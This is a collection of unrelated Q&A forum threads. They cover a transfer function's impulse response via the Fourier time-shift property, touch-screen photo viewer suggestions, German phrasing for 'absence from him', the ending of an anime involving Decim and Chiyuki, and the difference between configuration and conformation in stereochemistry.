Question: Lets say we have a transfer function from an LTI-system that goes as follows, and we want the impulse response for it:
$$\frac{10\cdot e^{\left(-\mathrm{i}\right)\cdot \pi\cdot f\cdot 8}}{5+\mathrm{i}\cdot 2\cdot \pi\cdot f}$$
The way I would approach solving this, would be to use the following fourier transform formulas:
$$\frac{1}{a+i2\pi*f}=exp(-at)*u(t)=\frac{10}{5+i2\pi*f}=10*exp(-5t)*u(t)$$
$$G(f)*exp(-i*2*\pi*f*t_0)=g(t-t_0)$$
$$exp(-i*\pi*f*8)=exp(-i*\pi*2*f*4) =>t_0=4$$
$$exp(-i*2*\pi*f*4)=g(t-4)$$
Which would end up with the following result:
$$\frac{10\cdot e^{\left(-\mathrm{i}\right)\cdot \pi\cdot f\cdot 8}}{5+\mathrm{i}\cdot 2\cdot \pi\cdot f}=10*exp(-5t)*u(t)*g(t-4)$$
However, this seems to be incorrect. Did I do an error with the fourier transforms, or have I misunderstood some of the formulas?
Comment: Nice question, with your first steps detailed. I intended to edit your question a bit, but many tiny modifications are required, and I am not sure I can. Could you please rewrite it a little, with `\exp` for the exponential, removing a few `*` that could be mistaken for a convolution, and some `\cdot`. Classicaly, you can avoid some of them if you write expressions in different ways, from the simpler to the more complex, typically: sign/integer/i/pi/variable. For instance : $e^{(-i)\cdot \pi \cdot f\cdot 8}$ rewrites $e^{-8i\pi f } $.
Answer: You're almost there; you just need to connect a few dots.  Let your $\frac{10}{5 + i 2 \pi f} = G(f)$.  Then $g(t) = 10 u(t) e^{-5 t}$.
Now we get into that exponent part.  Your $h(t) = g(t - t_0)$ is correct, but you're applying it incorrectly.  You need to apply it to the part that I've labeled as $g(t)$: $h(t) = g(t - t_0) = 10 u(t - t_0) e^{-5 (t - t_0)} = 10 u(t - 4) e^{-5 (t - 4)}$.
So, basically, it's the output you'd expect from the "pure" transfer function, just delayed by 4 time units (presumably seconds).
Does that help?
Comment: That does help, much appreciated!

Impulse response of a transfer function


Searching for simple, user friendly software for browsing photos on touch screen monitor

Question: At events I take photos and display them on a multi-touch screen, for people to view and browse.  Lightroom is good but I'm looking for a simpler software which allows people to easily scroll through the thumbnails, view images individually and identify the filename (similar interactivity to how they'd be used to browsing photos on an iPhone or iPad.  Any suggestions welcomed.
Comment: What platform are you working with? (PC? Tablet?, Windows 8, ???)
Comment: Unfortunately - the Windows 8 world is pretty much a mess. Developers are building apps for Touch, non-Touch, Touch enabled and mobile platforms, so there is a lot of confusion around what works with which platform. My traditional "go to" solutions do not work well with a touch screen, so I have been experimenting with alternatives. So far, I have not found a viable solution that works with the Touch interface.
Answer: You didn't specify the Operating System but if it's Windows you should try Picasa's photo viewer.
Answer: I just saw the video embedded into this website and it looks quite good, not to mention that it is free so it's worth a try?
I have never used it however, so I am not sure whether it's actually good or not. Sorry if it isn't.
Answer: I've been using Photoshop Elements to edit my images, and it does come with an organizer. However I've started using Picasa 3 from google to organize my photos. It scans entire computer or selected folders, monitors them for new images, and one click will upload to your Google+ account. That was enough for me, just an easy way to sort through and organize them and then upload them.
But then I found the "People" feature, basically, a facial detection software integrated that when you tag a face, it puts into a "people" folder, and it shows all sorts of options. Example: other people in this folder. touch the second person and it filters to show images that contain those 2 or 3 or however many faces you need.
Best part? Free!!
(And I use a touchscreen laptop)
Comment: But..... does it have a touch screen photo browser?


"in deiner Abwesenheit von ihm" oder "in deiner Abwesenheit zu ihm"?

Question: I saw some translators translate "in your absence from him" into "In deiner Abwesenheit von ihm" and some into "in deiner Abwesenheit zu ihm".
So which one is correct and do they have the same meaning in German?
Comment: I am not sure "absence from someone" is idiomatic in German *or* English. You are typically absent from some place, not some person. I'd rewrite from scratch.
Answer: So both sound not really as somebody would say it and google also doesn't find this term very often. But "in deiner Abwesenheit von ihm" is at least using the right grammar, because it is "abwesend von etwas". "zu ihm" is wrong.
Answer: Abwesenheit isn't really in that way.
Firstly, the preposition to use if we want to use the absence as a measure of time would be während

Während deiner Abwesenheit...

It does work with the preposition von but not for people. It works for a meeting

Deine Abwesenheit vom/beim Meeting war unentschuldbar.
Your absence from the meeting was inexcusable.

But you cannot really be abwesend from someone. The main problem is that the person who is absent is also connected using von and that use is by far the more common one.

Die Abwesenheit von Peter...
Peter's absence...

So using it the way you suggested is quite confusing and to my ears it is on the edge of wrong.
I'd suggest a different phrasing entirely

Während/als du nicht bei ihm warst
In der Zeit, in der du nicht bei ihm warst...

But that ultimately depends on context.


Where did Decim send Chiyuki? To reincarnation or to void?

Question: I saw that the mask changed and she just gave in to her wish to come back to live in her last 'test', so I think she was sent to void, but I'm not really sure. Can somebody explain, please?
Comment: OMG I watched this quite a while ago with a friend and we had that debate. I believe he sent her to reincarnation but the fact of how she responded to his test broke everything he believed in. So he wept tears of hope, tears of joy and tears of saddeness. It was quite moving. But this is my opinion I don't think there was a concrete answer.
Answer: She went to

 Reincarnation   This scene happens immediately after her elevator door closes.
Answer: She was sent to reincarnation represented by the sign above the elevator. One sitting on the chair is a mannequin it has no eye balls.
Answer: Firstly, in episode 11, in Ginti's bar, when he sent Harada and that girl, it was shown to be the reincarnation mask, but soon enough it changed to the void mask. We can always see the reincarnation lift is on the left and the void lift is on the right.
Decim sent Chiyuki to the elevator on the right which is usually the void one. However, there was a reincarnation mask. Here comes what happened in Ginti's place: he switched the masks. Probably Decim would also have done the same.
Well, the mannequin, regardless of whether he sent her to void or reincarnation, he merely made it for remembrance.
Answer: In episode 12, it shows Chiyuki in the chair, but it isn't her because she would've dissolved into dust. It's her mannequin, meaning she was sent into the void.
Comment: IIRC don't people who go to reincarnate also get mannequins? The whole point of the mannequin was to be a mememento of the life that was right?
Answer: She was sent for reincarnation. However, because Decim had an experience with her, he made a dummy to represent her because she was sent to reincarnation and her reincarnated body would look different.
Answer: She was sent to reincarnation. Why I think so? Because we could get to see the reincarnation sign over the elevator, right  after it closed.
About the mannequin that was shown later, it was, I think a fake one that Decim made. I am a little bit confused about that, but if we think that she was sent to void, then that sign over the elevator would be shown to be kinda meaningless.


What is the difference between configuration and conformation in stereochemistry?

Question: I understand conformation to be any spacial arrangement of atoms that can be achieved through rotation of a single bond. I understand configuration to be the disposition of atoms/groups in space. However, would a conformational isomer also be a configurational isomer since the groups are arranged differently in space?
Answer: I recommend you this webpage: http://worldofbiochemistry.blogspot.com/2012/09/conformation-vs-configuration.html.
Configuration and conformation are two concepts are often used interchangeably, but represent very different things. The conformation regards the relative spatial orientation of a portion of a molecule relative to another. Thus, it is an aspect that is not directly related to the covalent bonds that are established within the molecule, but with their possible rotation.

When we talk about rotation around covalent bonds, we are only referring to the single bonds, as they are the only ones that can suffer rotation. Basically this concept is easily understood if we think that the bounds work as an axis...
It should be noted that when we speak of different conformations, it does not necessarily involve all the covalent bonds of a molecule, it can account only for one or few of them.
 Taken together, it is possible to convert one conformation to another without cleaving or forming chemical bonds, simply by rotating some simple covalent bonds. Thermal energy at room temperature is sufficient to rotate some simple covalent bonds.
The configuration is a concept that is related to the order by which different substituents linked to the same central atom establish covalent bonds. That means, in this case it is clearly an aspect that is a direct consequence of the covalent backbone of molecules.

To change the configuration, you must always cleave and form new covalent bonds...This costs a lot of energy!!
In conclusion, the concept conformation encompasses portions of a molecule which are not directly linked to the same atom and do not involve the covalent backbone of the molecules, while the configuration comprehends parts of the molecule which are bound to the same atom, which means that there is a direct involvement of the covalent bounds of the molecule.
Answer: Configuration is arrangement of atom in three dimensional space around the molecule. Here there is no free rotation of atom usually we use configuration in optical isomerism and conformation is the one which allows free rotation of single bond with in  the molecule and we use conformation to represent the biomolecule structure.
Answer: Configuration differs from conformation by a fact that conformations are only due to the orientation of the atoms in molecule around the covalent bond considering the bond as an axis.  And changing the configuration causes the cleavage and formation of new chemical bonds.